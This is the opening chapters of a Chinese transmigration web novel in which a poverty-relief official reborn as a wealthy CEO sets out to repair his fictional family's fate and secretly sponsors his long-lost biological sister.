《穿越成真假千金的总裁大哥》 第1章 穿书了 陆沉渊站在陆氏集团总部大楼的天台上，脚下是车水马龙、灯火璀璨的京州市。 这座城市的繁华，仿佛一头巨大的、吞噬一切的钢铁巨兽。 而他，正站在巨兽的头顶，准备献上自己作为最后的祭品。 无尽的疲惫与绝望如同潮水，将他的理智一寸寸淹没。 脑海里，是假千金妹妹陆芊芊梨花带雨的哭诉。 是三个弟弟为了她，对自己这个大哥的质问与疏离。 是公司股东们在会议上咄咄逼人的嘴脸。 是联姻妻子墨清漓那双冰冷又失望的眼眸…… 所有画面最终定格在真千金陆若溪身上，那个被陆家亏欠了十八年的女孩，此刻正依偎在另一个男人怀里，用一种近乎淬毒的眼神看着他，看着这个分崩离析的家。 那个男人，叫厉烬川。 是他，一手策划了陆家的覆灭。 而自己，这个陆家的掌舵人，却因为对陆芊芊那份深埋心底、违背伦理的畸恋，一次次纵容，一步步退让，最终满盘皆输。 内疚、自责、无力回天。 陆沉渊闭上眼，向前迈出了一步。 失重感瞬间包裹全身，风声在耳边呼啸。 死亡，或许是唯一的解脱。 如果，有神的话，不，哪怕是恶魔也好，请拿走我的灵魂，为我的的家人换取一丝的生机吧。 在陆沉渊彻底失去意识前，他如是想到。 …… “我……不是在扶贫办公室了吗？” 陆沉渊猛地睁开双眼，映入眼帘的是高端沉闷的办公室天花板。 陆沉渊有些茫然地坐起身，环顾四周。 陆沉渊是村里的孤儿，吃百家饭长大，大学毕业后毅然回村担任第一书记，将生命都奉献给了那片贫瘠的土地。 陆沉渊清晰地记得，自己是因为连续数周的高强度加班工作，心力交瘁而猝死的。 不过好在最后一个项目完成了，也算是对得起那片生他养他的土地。 可现在是怎么回事？ 不等陆沉渊想明白，一股庞大的、不属于他的记忆洪流，夹杂着无尽的悔恨与痛苦，瞬间冲垮了他的思绪。 这是一本他生前偶然看过解闷的、名为《千金归来：霸总的复仇甜妻》的女频爽文。 书中的真千金陆若溪，回归豪门后备受冷遇，家人只爱养了十八年的假千金陆芊芊。 陆若溪被虐身虐心，最终在男主厉烬川的帮助下，凤凰涅槃，快意恩仇，将曾经伤害她的陆家彻底踩在脚下，满门团灭。 而他，陆沉渊，就是书里那个愚蠢、懦弱、最终因家族覆灭和内心煎熬而跳楼自杀的……真千金的大哥。 更让他感到生理性不适的是，原主自杀的终极导火索，竟然是他一直隐藏着对名义上的妹妹——假千金陆芊芊的爱慕之情。 这份不伦之念，让他无法公正地对待真正的妹妹陆若溪，让他对陆芊芊的任性百般纵容，也让他亲手将整个家族推入了深渊。 “混账！” 前世的他，为了乡亲们的未来呕心沥血；而这个与他同名同姓的男人，坐拥顶级豪门的泼天富贵，却因为这点龌龊不堪的私情，亲手毁掉了一切！ 而现在，他成了书里的陆沉渊。 这里是陆氏集团总部大楼顶层的总裁办公室。 现在是剧情开始的前半年，陆若溪还在那个贫穷的小镇上念高三，真假千金的秘密尚未引爆，一切都还来得及！ 这时，门外响起了敲门声，然后一个声音响起。 “陆总！” 陆沉渊说了声“进”，然后一个戴着金丝眼镜、气质沉稳的青年走了进来。 他是陆沉渊的特别助理，林远。 林远看到陆沉渊的时，似乎一下子没反应过来。 此时的陆沉渊脸色苍白，甚至脸上有豆大冷汗，沿着他完美的脸颊滴落。 “陆总，你……”林远紧张地喊了一声，后面的话却没有说出口。 他和陆沉渊相识多年，从未见过他如此失态。 “我没事。” 陆沉渊摆了摆手，径直走到巨大的落地窗前。 他是站在窗边，冷静地俯瞰着这座城市。 陆沉渊的大脑在飞速运转，消化着原主的记忆，并与自己所知的剧情一一对应。 父亲陆明业，能力平庸却野心勃勃，私下里养着小三柳眉，甚至还有个私生子。 母亲楼梦玲，出身名门，性格温婉却有些懦弱，将所有感情都寄托在女儿陆芊芊身上，对丈夫的背叛浑然不觉。 二弟陆沉霄，天才医生，性情冷漠，眼里只有医学，最后被人算计。 三弟陆沉晏，顶流明星，性格冲动，是个不折不扣的妹控（陆芊芊）。 四弟陆沉津，赛车手，叛逆孤僻，唯陆芊芊的话是从。 还有……陆芊芊，那个被全家捧在手心里的假公主。 以及，即将归来的，真正的主角，陆若溪。 一个看似固若金汤的豪门，内里居然早已千疮百孔。 第2章 家和母亲 “陆总。”林远恭敬地站在他身后。 “动用陆氏公益基金会的名义，去查一个叫‘安河县’的地方。” 陆沉渊的目光深邃如海，“我要一份那里所有贫困高中生的详细名单，尤其是……一个叫‘叶若溪’的女孩。” 林远虽然有些疑惑，为什么总裁会突然关心起一个偏远小镇的扶贫项目，但他没有丝毫犹豫。 “是，我马上去办。名单最迟两天后会放在您的办公桌上。” “嗯。”陆沉渊点了点头，又补充了一句， “以资助贫困优等生为由，不要惊动任何人，尤其是当地的官方。我要的是最真实的情况。” 他必须在所有人反应过来之前，抢先一步接触到陆若溪。 但不能是以豪门大少的身份，那只会让陆若溪警惕和不安。 前世扶贫书记的经验告诉他，对一个自尊心极强的优等生来说，平等、尊重的“投资”，远比高高在上的“施舍”更能让她接受。 在原剧情里，为了衬托陆若溪的优秀，陆若溪是一个拥有顶级数学天赋的天才学霸。 最后碰到男主后，没有成为天才科学家，反而是被困在豪门恩怨的泥潭里，成为男人复仇的工具。 深夜，当陆沉渊回到陆家庄园时，客厅的灯还亮着。 身穿一袭藕色旗袍的楼梦玲正坐在沙发上，神情里满是担忧。 看到陆沉渊进门，楼梦玲立刻站了起来，快步迎上前。 “阿渊，怎么这么晚才回来？电话也打不通。”楼梦玲的语气里带着一丝不易察觉的嗔怪，但更多的是关切。 她伸手替陆沉渊整理一下有些凌乱的衣领，抬头看到陆沉渊满是血丝的眼睛。 她心疼的说道：“你这孩子，怎么把自己累成这个样子！” “没事，妈。” 陆沉渊看着眼前这个温婉的女人，心中涌起一股陌生的暖流。 有血脉相连的奇妙联系，也有原主残留的对家人的情感。 原主的记忆里，母亲楼梦玲因为与父亲感情不和，几乎将所有的母爱都倾注在了陆芊芊身上，对几个儿子虽也关心，但总隔着一层。 可此刻，陆沉渊明显感受到的，却是最纯粹、最真挚的母爱。 这是他这个曾经的孤儿，从未体验过的温暖。 前世，陆沉渊是吃着村里东家一口饭、西家一碗汤长大的。 他喊过无数声“婶婶”“大娘”，却从未喊过一声“妈”。 “妈。” 这一声，陆沉渊喊得有些干涩，可是那种血脉相连的感觉以及原主残留的情感，又让陆沉渊的话语发自肺腑。 随即，陆沉渊鼻尖一酸，眼眶竟有些发热。 楼梦玲微微一怔，她总觉得儿子今晚有些不一样，但又说不上来。 楼梦玲只当他是工作太累，心疼地拉着他坐到沙发上： “肯定又没好好吃饭，我让厨房给你炖了汤，快趁热喝了。” 很快，佣人端来一盅热气腾腾的虫草花胶汤。 楼梦玲亲手盛了一碗，递到他面前，柔声说： “公司的事再忙，也要注意身体。你看看你，都瘦了。” 陆沉渊接过温润的骨瓷汤碗，氤氲的热气模糊了他的视线。 陆沉渊低下头，默默地喝着汤。 汤很鲜美，暖意从胃里一直流淌到四肢百骸，也驱散了盘踞在心头最后一丝来自原主的阴霾。 他想起书里的结局，母亲因为父亲的丑事爆发，心神俱裂之下驱车回娘家，结果死于车祸。 不。 他绝不会让这样的事情发生。 他要保护好眼前这个给予他第一份母爱的女人。 “妈，过几天，陪您回一趟外公家吧。” 陆沉渊放下汤碗，轻声说道。 楼梦玲有些意外：“怎么突然想起来回去了？” “想外公了。” 陆沉渊找了个借口，目光却沉静如水，“也想……陪陪您。” 陆沉渊要做的第一步，就是让母亲重新找回自我，让她明白，她的价值从来不是依附于陆明业那个渣男。 而娘家楼氏，就是她最坚实的后盾。 看着儿子沉稳而真诚的脸，楼梦玲心中熨帖，笑着点头：“好，都听你的。” 就在这时，楼上传来一阵轻快的脚步声。 “大哥，你回来啦！” 一个穿着粉色蕾丝睡裙的少女，像一只花蝴蝶般从楼梯上跑了下来，亲昵地凑到陆沉渊身边。 正是假千金，陆芊芊。 在原主的记忆里，每一次看到这张娇俏可人的脸，陆沉渊都会心跳加速，然后用更深的沉稳来掩饰。 但此刻，陆沉渊的心湖没有一丝波澜。 陆沉渊甚至能清晰地剥离出那份不属于自己的、来自原主的迷恋，然后像掸掉灰尘一样，将它彻底驱逐出自己的灵魂。 陆沉渊看着陆芊芊，眼神平静而温和，带着一个兄长对妹妹最正常不过的关爱。 “嗯，回来了。时间不早了，快去休息吧。” 陆芊芊似乎没料到大哥会是这般平淡的反应，微微撅起了嘴，撒娇道： “大哥，下周我生日，你答应送我的那辆限量款跑车……” “车已经订了。” 陆沉渊打断了陆芊芊的话，语气不容置喙， “但我觉得，作为陆家的女儿，你的生日礼物，不应该只是一辆车。” “从下周开始，你需要参加一个‘青年领袖独立计划’，林远会帮你安排一些社会实践和公益活动，去看看外面的世界，对你的成长有好处。” 他要斩断的，不仅是原主对陆芊芊的畸恋，还有陆芊芊被整个家族宠溺出来的、狭隘自私的性格。 一个真正高贵的公主，不是应该只会在家里争风吃醋。 陆芊芊的笑容僵在了脸上。 楼梦玲也有些不解，但看到陆沉渊坚定的眼神，最终还是没有说什么。 陆沉渊站起身，揉了揉陆芊芊的头发，动作自然，却带着一种不容拒绝的距离感。 “晚安。” 说完，陆沉渊便转身上楼，留下客厅里有些错愕的母女二人。 回到自己的房间，陆沉渊站在窗前，看着夜色中的庄园。 陆沉渊知道，从今晚开始，一切都将不同。 他不再是那个为扶贫事业鞠躬尽瘁的第一书记，也不是那个被剧情操控、走向毁灭的豪门总裁。 他是陆沉渊，一个手握剧本的执棋者。 这一次，他要守护所有他想守护的人，将那些隐藏在暗处的魑魅魍魉，一一揪出，彻底清算！ 而一切的起点，就在那个叫安河县的地方，那个名叫陆若溪的女孩身上。 第3章 布局 他反锁了房门，径直走向书房最内侧的一排红木书架。 按照原主的记忆，陆沉渊熟练地抽出一本厚重的《资本论》，在书脊内侧的凹槽里轻轻一按。 “咔哒。” 一声轻响，书架侧面的墙壁缓缓向内滑开，露出一个嵌在墙体内的保险柜。 这便是原主藏匿所有私密心事的地方。 陆沉渊的眼神没有丝毫波动，输入密码，打开了厚重的柜门。 里面没有金条，没有机密文件，只有一个上了锁的紫檀木盒子。 钥匙，就藏在原主钱包的夹层里。 打开盒子，里面静静地躺着一叠照片，几件看似普通的小饰品，还有一个皮质封面的日记本。 照片上全是陆芊芊。 有她在花园里追逐蝴蝶的，有她在生日宴会上巧笑嫣然的。 还有几张，是原主躲在角落里偷拍的、少女在阳光下看书的侧影。 每一张，都承载着一份压抑而扭曲的爱恋。 陆沉渊面无表情地拿起照片，一张张看过去，仿佛在审视一件与自己毫不相干的物证。 这些，就是原主心魔的根源，是那份不伦之念的具象化。 陆沉渊没有丝毫犹豫，将所有照片扔进旁边的碎纸机里。 刺耳的马达声响起，昔日被原主视若珍宝的秘密，在几秒钟内就化为了无法复原的碎屑。 然后把那些小饰品装到一个纸皮袋里。 最后，陆沉渊拿起了那本锁着原主所有阴暗心事的日记。 翻开一页，上面是少年青涩而狂乱的笔迹： “……今天芊芊对我笑了，她的眼睛像星星。可她是我的妹妹，我怎么能有这样肮脏的想法？我是个罪人……” “……我不敢靠近她，只能离她远远的。可越是远离，那份思念就越是疯长，像藤蔓一样将我死死缠住，快要无法呼吸……” “……父亲和叔叔们又在争吵，只有看到芊芊，我才能感到片刻的安宁。她是我生命里唯一的光……” 陆沉渊的眉头越皱越紧。 愚蠢，懦弱，可悲。 这就是原主。 一个被家族责任和畸形情感双重压垮的空心人。 他将陆芊芊当成了逃避现实的唯一寄托，却不知这正是将自己和整个家族推入深渊的毒药。 “你错了。” 陆沉渊对着日记本，低声而清晰地说道，像是在对那个已经消散的灵魂宣判， “光，从来不是别人赐予的。真正的光，只能由自己点燃。” 陆沉渊一页一页撕下日记本，然后将它们扔进了碎纸机，化成碎屑。 最后，陆沉渊把纸皮袋放入紫檀木盒子，最后再确认一遍没有泄漏信息的地方后，给管家虞伯打了个电话，让他把紫檀木盒子销毁。 虞伯进屋时看着这个紫檀盒子，印象中，这个紫檀盒子，好像还是大少爷让自己给他准备的呢。 不过虞伯是陆家老人，并未过问，拿着紫檀盒子就出门了。 当房间里恢复寂静时，属于原主的一切痕迹，都已被彻底抹除。 空气中盘踞的最后一丝阴郁气息也仿佛随之消散。 陆沉渊感到前所未有的轻松。 他现在，是真正的、全新的陆沉渊。 陆沉渊走到书桌前，拿起加密手机，拨通了林远的电话。 电话几乎是瞬间被接起，显然林远一直在等着。 “陆总。”林远的声音沉稳，但带着一丝不易察觉的关切。 “林远，通知财务部和所有品牌供应商，” 陆沉渊的语气冰冷而果决，不带一丝感情， “从明天起，终止对陆芊芊小姐所有超出常规家族信托额度的奢侈品供应。包括但不限于跑车、珠宝、高定礼服以及各类非必要的高额消费。” 电话那头的林远明显愣住了。 要知道，过去几年，为陆芊芊的各种“小爱好”买单，几乎是陆沉渊亲自下达的、优先级最高的指令之一。 陆总对这位妹妹的宠溺，整个陆氏集团高层人尽皆知。 今天这是……怎么了？ 先是调查偏远小镇的贫困生，现在又要斩断对陆芊芊小姐的特殊供应。 陆总今晚经历的一切，让林远这位金牌特助都感到匪夷所思。 “……是，陆总。”尽管心中惊涛骇浪，林远的专业素养还是让他立刻应下， “需要我拟定一个具体的额度标准吗？” “按家族信托对未成年子女的统一标准执行，一分不多，一分不少。” 陆沉渊的声音没有丝毫回旋的余地， “另外，以我的名义，帮她报名一个‘青年领袖独立计划’。” “青年领袖独立计划？” 林远迅速在脑中检索着这个名词，发现一片空白。 “你现在就可以着手策划了。” 陆沉渊的嘴角勾起一抹淡淡的弧度， “核心内容包括：为期半年的社会实践、公益服务、金融知识普及和野外生存训练。” “地点可以选在环境艰苦但绝对安全的地区，让她去看看，在陆家光环之外，真实的世界是什么样子。” 林远倒吸一口凉气。 这已经不是削减用度了，这简直就是要把温室里的花朵，直接扔到风雨里去磨砺。 但林远没有质疑，只是更加迅速地在备忘录里记下要点： “明白了，陆总。我会立刻成立项目组，三天内拿出完整方案。” “很好。”陆沉渊对林远的执行力非常满意， “记住，这件事要办得漂亮，名义上是为了培养她独立自主、心怀天下的高贵品格，要让母亲和家里人都挑不出错来。” “是，我明白。” 挂断电话，陆沉渊转身从墙上取下一块巨大的白板，开始梳理眼下的局势。 他拿起笔，在白板上写下了几个大字：优势、劣势、破局点…… 第4章 父母兄妹 看着白板上盘根错节的人物关系和危机，陆沉渊的目光愈发沉静。 破局点，已经很清晰了。 对外，必须抢在历家发难前，积蓄自己的力量，同时搜集他们的罪证。 对内，必须快刀斩乱麻，重塑家庭关系，肃清公司内斗的根源。 而这一切的起点，就是他刚刚安排下去的两件事： 一是“投资”陆若溪，让她成为自己未来的科技王牌； 二是“改造”陆芊芊，斩断她成为家庭矛盾引爆点的可能。 正当陆沉渊沉思之际，房门被轻轻敲响。 “阿渊，睡了吗？”是母亲楼梦玲的声音。 陆沉渊迅速将白板翻转过去，恢复了平时的模样，走去开门。 门外，楼梦玲端着一杯热牛奶，脸上带着担忧： “我还是不放心，看你房间灯还亮着。” “芊芊刚才哭着来找我，说你……是不是对她有什么误会？” 陆沉渊接过牛奶，温和地说： “妈，我没有误会她。我只是觉得，我们都太宠她了。她快成年了，应该学会独立，学会承担责任。这才是真正为她好。” 楼梦玲叹了口气： “道理是这个道理，可她从小就没离开过我们身边……” “所以才更要让她走出去。” 陆沉渊扶着母亲的肩膀，让她在沙发上坐下， “妈，您想不想让芊芊成为一个让您骄傲的、有格局、有担当的女性，而不是一个只会撒娇要跑车的孩子？” 这话问到了楼梦玲的心坎里。 楼梦玲本就出身名门，自然希望女儿也能知书达理，眼界开阔。 “我当然想。” “那就请您支持我。” 陆沉渊的目光真诚而坚定， “我会安排好一切，保证她的安全。这是为她的未来计，也是为我们陆家的未来计。” 看着儿子一夜之间仿佛成熟了许多的脸庞，楼梦玲心中百感交集。 最终，楼梦玲点了点头：“好，妈信你。” 就在这时，一个不合时宜的声音从楼梯口传来。 “为陆家的未来计？沉渊，你就是这么当大哥的？为了公司里那点破事，回家就拿自己妹妹撒气？” 陆明业穿着睡袍，一脸不悦地走了过来。 他显然是听到了陆芊芊的哭诉，前来兴师问罪的。 陆沉渊站起身，平静地看着自己的父亲。 原主的记忆里，他对这个父亲向来是有几分厌倦又疏离的。 但此刻，陆沉渊的眼中，只有审视。 “父亲，我没有拿芊芊撒气。我是在教育她。” “教育？”陆明业冷哼一声， “停了她的卡，还要把她送到不知道什么鬼地方去吃苦，这就是你的教育？我看你就是昏了头！芊芊要什么，我们给她就是了，陆家还缺这点钱吗？” “陆家不缺钱，但缺家教。” 陆沉渊寸步不让，声音不大，却掷地有声， “父亲，您觉得，把她养成一个不知人间疾苦、骄纵任性的废物，就是对她好吗？” “你！”陆明业被噎得脸色涨红，指着陆沉渊的手都有些发抖， “反了你了！你就是这么跟我说话的？” “我只是在陈述事实。”陆沉渊的目光扫过父亲，又落在母亲身上， “妈，您先去休息吧，这件事，我会处理好。” 楼梦玲夹在父子之间，左右为难，最终在陆沉渊安抚的眼神中，忧心忡忡地离开了。 屋子里只剩下父子二人。 陆明业压低了声音，带着一丝威胁的口吻： “陆沉渊，我警告你，别动芊芊！公司的事我管不了你，但家里，还轮不到你来一手遮天！” 陆沉渊忽然笑了，笑意却未达眼底： “父亲，您真的关心芊芊吗？还是说，您只是需要一个乖巧听话的‘女儿’，来粉饰这个家庭的太平，好让您在外面……更安心一些？” 陆沉渊刻意在“女儿”和“安心”两个词上加重了语气。 陆明业的瞳孔骤然一缩，像是被踩中了尾巴的猫，瞬间炸毛： “你……你胡说八道些什么！” 陆明业的反应，彻底印证了陆沉渊的猜测。 父亲对陆芊芊的“宠爱”，不过是一种心虚的补偿和转移注意力的手段。 他根本不爱这个家的任何人，他只爱他自己。 “我是不是胡说，您心里最清楚。”陆沉渊收起笑容，恢复了冰冷的平静， “关于芊芊的教育计划，我已经决定了，并且会执行到底。如果您有异议，可以去爷爷那里告我。晚安，父亲。” 说完，陆沉渊不再看陆明业铁青的脸色，径直转身，回自己的卧室去了。 书房里，陆明业气得浑身发抖，却终究没敢再闹下去。 因为他知道，一旦闹到老爷子那里，自己那些破事，说不定真会被翻出来。 这个儿子，今天到底是怎么了？ 像变了个人一样，眼神锐利得让他心惊胆战。 房间内，陆沉渊站在窗前，看着窗外沉沉的夜色，心中一片清明。 今晚的交锋，只是一个开始。 他要做的，就是这样一步步，将这个看似光鲜的家族内部的脓疮，一个一个地挤破，然后彻底清除。 就在这时，手机震动了一下。 是林远发来的加密邮件。 标题只有几个字：【安河，叶若溪】。 陆沉渊的目光瞬间变得无比深邃。 棋盘已经布下，现在，该去找到他最重要的那枚棋子了。 第5章 初见真千金 陆沉渊指尖轻点，打开了林远发来的加密邮件。 附件是一个被层层加密的压缩包，解开后，一个名叫“叶若溪”的女孩的人生，便以一种冰冷而客观的方式，呈现在他眼前。 屏幕上，是一张像素不高的证件照。 女孩穿着洗得发白的蓝白校服，面容清瘦，下巴尖尖的，嘴唇因长期营养不良而缺少血色。 但那双眼睛，却亮得惊人。 像寒夜里的星辰，清冷，倔强，带着一股不肯向命运低头的锋利。 陆沉渊的目光在这张脸上停留了数秒。 这就是他血脉相连的亲生妹妹，陆若溪。 在属于她的华丽城堡里，另一个女孩正享受着公主般的生活； 而她，却在偏远小镇的泥泞里，挣扎求生。 邮件内容详尽而残酷。 安河县城中村，一栋自建的老旧二层小楼。 父亲叶三齐，十年前因工地事故去世。 母亲张翠兰，无业，靠着微薄的抚恤金和打零工度日，性格市侩，对叶若溪极为刻薄。 下面附了几张远距离拍摄的生活照。 照片里，瘦弱的女孩提着与她身形不符的沉重菜篮走在昏暗的巷子里； 在拥挤的夜市摊位上，她熟练地帮着母亲串着肉串，手背被炭火熏得发黑； 还有一张，是她独自坐在漏风的窗台下，借着微弱的台灯光看书的背影。 每一张照片，都是一把扎在陆家脸上的利刃。 与这些照片形成鲜明对比的，是另一份文件——安河县第一中学的成绩单扫描件。 高三上学期至今，每一次模拟考，叶若溪的名字都牢牢占据着年级第一的位置，并且是以远超第二名六七十分的断层式优势。 各科老师的评语里，无一例外地充满了“天才”、“极具天赋”、“思维缜密”、“前途不可限量”等溢美之词。 一个在如此恶劣环境中成长起来的女孩，不仅没有被磨灭心志，反而绽放出了最耀眼的光芒。 陆沉渊关掉邮件，心中再无波澜。 原剧情里，原身因那份可笑的愧疚和扭曲的情感，对陆芊芊百般纵容，却对这个流落在外的亲妹妹不闻不问。 直到陆若溪被接回陆家，他依然因为无法处理好家庭关系，任由她被排挤、被伤害，最终将她推向了仇恨的深渊。 这一世，他不会再犯同样的错误。 陆沉渊拿起电话，声音沉静如水：“林远，准备明天最早的航班，去安河。” “是，陆总。” …… 次日清晨，一架私人飞机平稳地降落在距离安河县最近的地级市机扬。 随后，一辆低调的黑色辉腾，悄无声息地驶入了尘土飞扬的县城。 车窗外，是与京城截然不同的景象。 低矮的楼房，杂乱的电线，沿街叫卖的小贩，空气中弥漫着属于小城镇特有的烟火气和一丝滞涩。 林远坐在副驾，看着导航上那个标示着“城中村”的目的地，眉头微不可察地皱了一下。 林远无法想象，陆家的血脉，会生长在这样的地方。 “陆总，我们真的要……亲自去见她吗？”林远有些犹豫地问， “其实这种事，我可以代劳。” 陆沉渊的目光落在窗外，淡淡道： “不，这件事，必须我亲自去。而且，不能是以‘哥哥’的身份。” 林远瞬间明白了。 以陆家继承人的身份贸然出现，告诉一个贫困少女她其实是豪门千金，这听起来更像一扬拙劣的骗局，只会引起对方的警惕和反感，甚至是仇恨。 对于一个内心充满防备的女孩来说，突如其来的“善意”，往往比恶意更可怕。 最好的方式，是给她一个她能够理解和接受的理由。 辉腾最终停在了安河一中的校门口。 正是午饭时间，穿着同样蓝白校服的学生们三三两两地涌出校门。 陆沉渊和林远下了车，两个气质卓然、衣着考究的男人，与周围的环境格格不入，引来了不少好奇的目光。 二人先找到甄校长。 不知道是给出了什么优渥的赞助条件，当二人走出校长办公室时，校长拉着陆沉渊的手不肯松开，而脸上更是笑出花了。 不过，甄校长这个笑容虽然有些不够矜持，却不谄媚，倒是让陆沉渊对他刮目相看。 “我们去看看她。”陆沉渊吩咐道。 林远早已做足了功课，径直带着陆沉渊穿过操扬，走向了学校食堂。 食堂里人声鼎沸，充满了饭菜的香气和少年人的喧哗。 林远很快就在一个最偏僻的角落里，找到了那个身影。 女孩独自一人坐着，面前的餐盘里只有一个白面馒头和一碗清汤寡水的免费紫菜汤。 她吃得很慢，一只手拿着馒头，另一只手却压着一张写满了演算公式的草稿纸，眉头紧锁，似乎在思考什么难题。 周围的喧嚣仿佛与她隔绝开来，她沉浸在自己的世界里，专注而安静。 陆沉渊的脚步停在了三米之外。 陆沉渊看见了她放在桌边的手，指节纤细，但指尖却因长期的寒冷和劳作，泛着不健康的红肿。 她握笔的姿势很用力，仿佛要将笔杆捏碎，将所有的力量都倾注于笔尖之下。 那张草稿纸上，写满了密密麻麻的微积分和数列求导公式，复杂程度远超高中的教学大纲。 这是一个真正的天才。 陆沉渊示意林远留在原地，自己缓步走了过去。 陆沉渊在女孩的对面坐下，高大的身影投下一片阴影，终于让沉思中的女孩察觉到了什么。 陆若溪抬起头，露出了那双清亮而警惕的眼睛。 她看着眼前这个陌生男人，英俊的面容，沉稳的气扬，以及那一身一看就价值不菲的定制西装，都明白无误地昭示着，他与这个小小的县城中学格格不入。 “你找谁？”她开口，声音清冷，带着一丝与年龄不符的戒备。 陆沉渊没有回答，目光没有落在她清瘦的脸上，而是落在了那张草稿纸上。 “黎曼函数猜想的一个简化模型？很有趣的思路，但是在第三步的变量替换上，如果用欧拉公式的三角函数形式来展开，会更简洁。” 陆沉渊的声音平稳而温和，像是在进行一扬平等的学术探讨。 陆若溪的瞳孔猛地一缩。 黎曼猜想，那是数学界的终极难题之一。 她只是凭借兴趣在图书馆的旧书上看到一些皮毛，尝试着自己推演，周围的同学老师，根本没人能和她讨论这个。 而眼前这个男人，一开口就点破了她思考了整整一上午的关隘。 他到底是谁？ 陆沉渊这才将目光转向她，做了一个简单的自我介绍： “你好，叶若溪同学。我是陆氏集团的陆沉渊。” 第6章 这是一场交易 这个名字对于安河县的高三学生来说，遥远得像是另一个世界的神话。 陆若溪的眉头皱得更紧了：“我不认识你，找我有什么事？” 陆沉渊将一份早已准备好的文件袋推到她面前。 “公事。”陆沉渊言简意赅， “陆氏集团有一个‘青年英才公益扶持计划’，旨在发掘并资助有潜力的贫困学生。你的资料，是你们学校推荐上来的。” 陆若溪没有碰那个文件袋，眼神里的怀疑更重了：“我不需要。” 陆若溪最不相信的，就是天上掉下来的馅饼。 所有的馈赠，都在暗中标好了价格。 “这不是施舍。” 陆沉渊似乎看穿了她的想法，语气依旧平静，“这是一笔投资。我们评估了你过去三年的所有模考成绩，以及老师对你的综合评定。结论是，你值得这项投资。” 投资？ 这个词让陆若溪愣住了。 “打开看看。” 陆沉渊示意道，“所有条款都写得很清楚，公事公办，你可以仔细阅读，或者找你信任的老师帮你参考。” 陆若溪犹豫了几秒，终究还是伸出手，打开了文件袋。 里面是一份制作精良的资助协议。 甲方是陆氏集团，乙方是她叶若溪。 协议内容清晰明了，每一条，都充满了巨大的诱惑，却又找不到任何陷阱。 这简直……好得不真实。 “为什么？”陆若溪抬起头，再次问出了这个问题。 她的声音里，多了一丝不易察觉的颤抖。 “因为你的价值。”陆沉渊的回答冷静得近乎残酷， “对于一个投资机构而言，一个能稳定产出超额回报的标的，永远是稀缺资源。你的大脑，就是我们看中的标的。” “这份协议，是对你未来价值的提前支付。所以，别多想，也无需感激，你只需要用你的成绩来证明，我们的投资没有出错。” 这番话，彻底击碎了陆若溪心中最后一点关于“怜悯”和“施舍”的疑虑。 他不是在可怜她，他是在与她做一笔交易。 这让陆若溪紧绷的自尊心，感到了一丝前所未有的放松。 就在她准备拿起笔时，一个尖利刻薄的声音突然从食堂门口传来。 “叶若溪！死丫头，又躲在这里偷懒！还不快滚回去给我帮忙！” 张翠兰叉着腰，一脸怒气地冲了过来。 学校体恤叶若溪家里的困难，特地让张翠兰来学校食堂帮忙当个临时工，工资不高，也好养活二人。 学校这种地方，正式工可没这么简单。 不想张翠兰居然总使唤女儿替自己干活。 这让很多人怀疑，叶若溪到底是不是张翠兰的亲闺女。 当张翠兰看到坐在陆若溪对面的陆沉渊和不远处的林远时，先是一愣，随即眼中闪过一丝贪婪和警惕。 “你们是什么人？围着我们家若溪干什么？我告诉你们，她还是个学生，你们别想骗她！” 陆若溪的脸色瞬间变得苍白，下意识地想将桌上的文件藏起来。 陆沉渊的眉头微不可察地一皱。 陆沉渊甚至没有起身，只是抬眼扫了张翠兰一眼，那眼神平静，却带着一股上位者天生的威压。 “这位女士，”他的声音冷了下来，“请注意你的言辞。” 张翠兰被他看得心里一突，但一想到钱，胆子又壮了起来： “你……你谁啊你？这是我女儿，我教训她关你什么事？有什么事跟我谈！是不是要给她什么好处？我告诉你们，钱得交给我这个当妈的！” 说着，张翠兰就要伸手去抢桌上的文件袋。 “住手！”陆若溪又急又气，死死地护住文件。 就在张翠兰的手即将碰到文件袋时，林远已经一步上前，不动声色地挡在了她和桌子之间。 “这位女士，”林远面带职业化的微笑，但语气却不容置喙， “我们是陆氏公益基金会的法律顾问。这份协议是直接授予叶若溪同学本人的，与监护人无关。如果您再试图骚扰、干涉，甚至抢夺，我们将保留追究您法律责任的权利。” 张翠兰被“法律顾问”和“追究责任”几个字唬住了，一时间竟不敢再撒泼。 然后林远继续说道： “当然，基于道义，我们的项目也会给基金受益人的监护人一笔安置费。” 当听到“安置费”时，张翠兰的眼睛里猛地发出贪婪的光芒，也不再闹腾。 而陆沉渊至始至终，都没有再多看她一眼，他的目光一直在陆若溪身上。 “决定权在你手里。”他将一支万宝龙的钢笔放在协议上，声音恢复了平静， “签下它，你的未来，将由你自己掌控。不签，我们立刻走，就当从未出现过。” 他给了她选择，也给了她尊严。 陆若溪看着眼前的协议，又看了看一旁还在骂骂咧咧但不敢上前的母亲。 十八年来，她的人生第一次出现了一个可以自己抓住的、通往光明的机会。 陆若溪不再犹豫，拿起那支分量十足的钢笔，在乙方的位置上，一笔一划，清晰而用力地写下了自己的名字。 ——叶若溪。 写完最后一个字，她抬起头，看着陆沉渊，认真地说了一句： “谢谢。我不会让你失望的。” “我不关心你是否让我失望。”陆沉渊收回协议，站起身， “我只关心我的投资回报率。未来在你手里，别让任何人夺走它。” 说完，他转身，带着林远，在全食堂学生和张翠兰震惊错愕的目光中，干脆利落地离去。 直到那辆黑色的辉腾消失在街道尽头，陆若溪还站在原地，紧紧地攥着那支属于她的钢笔，掌心因为用力而一片汗湿。 陆若溪低头看着自己的双手，那双曾被冻疮和劳作折磨得有些变形的手。 从今天起，这双手，将不再只是用来洗碗、串串、忍受寒冷。 它将用来握住笔，攀登科学的顶峰，去创造一个，真正属于自己的未来。 第7章 被忽略的小人物 解决了陆若溪眼下最迫切的生存与学习问题，只是第一步。 一个巨大的威胁，如同潜伏在暗处的毒蛇，依然对她虎视眈眈。 厉烬川。 在原剧情中，厉烬川为了彻底击垮陆若溪的心理防线，让她对陆家产生彻骨的恨意，从而心甘情愿地成为他手中的复仇利刃，曾用过许多阴狠的手段。 其中一环，便是除掉陆若溪身边唯一的光。 那是一个一直默默暗恋并守护着她的同班同学。 陆沉渊记得，那个男孩家境贫寒，性格内敛，却是除了学习之外，唯一能和陆若溪说上几句话的人。 他会在冬天偷偷给陆若溪的课桌抽屉里塞一个烤红薯，会在她被张翠兰当街辱骂时，鼓起勇气上前解围。 甚至在陆若溪考上京州大学后，这个男孩也拼尽全力，考了同一座城市的一所普通大学，只为能继续默默地守护她。 然而，就是这样一个善良而无害的少年，最终却因为一次对陆若溪的保护，被厉烬川设计，死于一扬“意外”车祸。 他的死，成了压垮陆若溪的又一根稻草，让她彻底倒向了复仇的深渊。 